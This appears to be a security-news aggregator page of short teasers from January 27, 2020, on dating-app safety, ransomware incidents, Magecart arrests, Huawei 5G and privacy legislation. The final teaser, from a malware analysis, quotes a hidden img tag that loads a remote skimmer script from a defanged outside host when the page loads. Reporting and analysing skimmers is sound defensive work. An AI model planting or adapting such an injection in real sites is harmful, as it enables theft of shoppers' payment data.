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January 27, 2020
In an effort to keep users safe – and when it comes to Tinder or other dating apps, that means keeping them from being raped, murdered or even, in one horrific case, dismembered – Tinder is incorporating a panic button into the app, as well as Artificial Intelligence (AI)-enabled photo recognition to help stop catfishing....
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Five hours isn’t very long. It’s a flight from New York to Los Angeles. It’s a little over half of a standard workday. But when viewed from the perspective of exposed data, it’s an eternity – or at least long enough to get into the hands of malicious actors. Luckily, not all actors are malicious. ...
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Facebook and gaming hardware maker Razer are among the first US technology companies to begin restricting travel to China amid the ongoing coronavirus outbreak. Facebook is halting all non-essential employee travel to the country, and the company is also telling employees who recently returned from China to work from home, according to Bloomberg. Although Facebook...
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The United Kingdom’s Prime Minister Boris Johnson said on Monday his decision on any role in the UK’s future 5G network for Chinese tech giant Huawei would give Britons the benefits of new technology without compromising national security. Johnson is due to meet senior government ministers on Tuesday to decide whether to ban or restrict...
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Promoted from our Community Blogs [I’ve been following Puppet Combo’s work for a few years now, and I love everything I’ve seen, but I still haven’t gotten around to actually playing any of their titles yet. Luckily, Xeo is here to remind me to tighten the hell up and finally get on that. – Kevin]...
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Ladies and Gentlemen, Girls and Boys: The Redmondian Leviathan via the inimitable Lawrence Abrams, writing at Bleeping Computer, comes the bad news for Microsoft Corporation (NASDAQ: MSFT) and Windows users worldwide. The latest Zero Day IE fix has apparently broken printing for a large number of users of the Windows operating system. What has happended...
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There’s an art to reporting security metrics so that they speak the language of leadership and connect the data from tools to business objectives. Much is at stake when reporting security metrics. This data is critical for management to evaluate security programs and justify further investment in security tools. The value of metrics comes from...
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Crystal Lake Community High School District 155’s computers were infected with ransomware on Friday, according to an email sent to parents on Monday afternoon. Superintendent Steve Olson wrote in the email on Monday, which was shared by a parent with the Northwest Herald, that the district’s network monitoring systems detected the virus on a number...
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By Zach DeMeyer Posted January 27, 2020 Data is one of the most important resources for modern enterprises. With the proper data, organizations can make informed decisions and advance their company goals. For IT departments, having the right data points could mean the difference between smooth sailing and a security breach. That’s why IT admins...
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Law enforcement in the United States, international spies, and criminals have all used (and abused) the surveillance tools known as “stingrays” for more than a decade. The devices can track people’s locations and even eavesdrop on their calls, all thanks to weaknesses in the cellular network. Today, researchers are detailing a way to stop them—if...
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Paytm Payments Bank Ltd (PPBL) on Monday said it has added a new feature that analyses “rogue” apps on user devices that may trigger fraudulent transactions and advises users to uninstall such apps. It is also leveraging artificial intelligence to immediately identify and block suspicious activities, and is undertaking periodic awareness drives throughout the country...
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By Patrick Burnson, Executive Editor · January 27, 2020 American Intermodal Management (AIM), a U.S.-based marine chassis lessor and a portfolio company of I Squared Capital, has signed an agreement to merge with FlexiVan Leasing, the third largest marine chassis provider in the U.S., owned by Castle & Cooke.  I Squared Capital will assume a...
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On the heels of a Ryuk ransomware attack on the Tampa Bay Times, researchers reported a new variant of the Ryuk stealer being aimed at government, financial and law enforcement targets. The Times attack didn’t result in a breach, noted David Ruiz, 0f Malwarebytes Labs, who cited the Times Publishing Company Chief Digital Officer Conan...
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January 28th marks Data Privacy Day which commemorates the signing of the Convention for the Protection of Individuals with regard to Automatic Processing of Personal Data.  This international treaty is the first of its kind to address privacy and data protection. Strong privacy and cybersecurity safeguards are paramount to the success of companies and the...
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The gaming industry has been leveling up since it entered the mainstream in the 1980s. Exciting advancements in online streaming and Virtual Reality (VR) appear to lead the way. Yet, without a seamless user experience, game popularity can suffer. Here are some trends in improving customer experience that can help your gaming or streaming business...
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Congress took on dual issues of Fourth Amendment and privacy rights in a bill meant to reform the Patriot Act to end the authority of NSA’s phone recording program, as well as, reform the FISA process, addressing the problems revealed by Justice Department Inspector General Michael Horowitz last fall. The Safeguarding Americans’ Private Records Act...
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Card skimmer crew suspected of infecting nearly 200 e-commerce sites An investigation into the abuse of the Magecart JavaScript skimmer to compromise hundreds of e-commerce websites has led to the arrest of three suspects in Indonesia. The as-yet unnamed suspects allegedly ran command and control (C2) servers associated with a Magecart skimming operation in Indonesia...
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Home > Security News > Government/Defense A three-day cybersecurity wargame began today in Tokyo in preparation for the upcoming Olympic Summer Games. This particular exercise has 140 workers from 58 critical infrastructure firms defend against malware attacks that attempt to disrupt devices used for telecommuting, according to the Nippon News agency. During the Olympics many...
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MA. LOURDES TIQUIA FROM news to viruses to the cyber world and politics, more and more the art of war is changing face. It used to be that humans fight wars by occupying territories. Today, by just weaponizing news, one creates shades of truth that causes havoc to humanity depending on the virality of such...
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Cybercriminals regularly try a variety of approaches to hide their malicious code — web skimmers are well known for using all sorts of obfuscation and masquerading. Suspicious Img Tag Our malware analyst Liam Smith recently discovered a suspicious looking image tag in the database of a compromised Magento site. <img height=”1px” width=”1px” style=”display:none;“src=”/skin/frontend/smartwave/mango/images/cs_logo_white.png”title=”hxxps://intljs.rmtag[.]net/js/slider.js“onload=jQuery.getScript(this.title)> At first...
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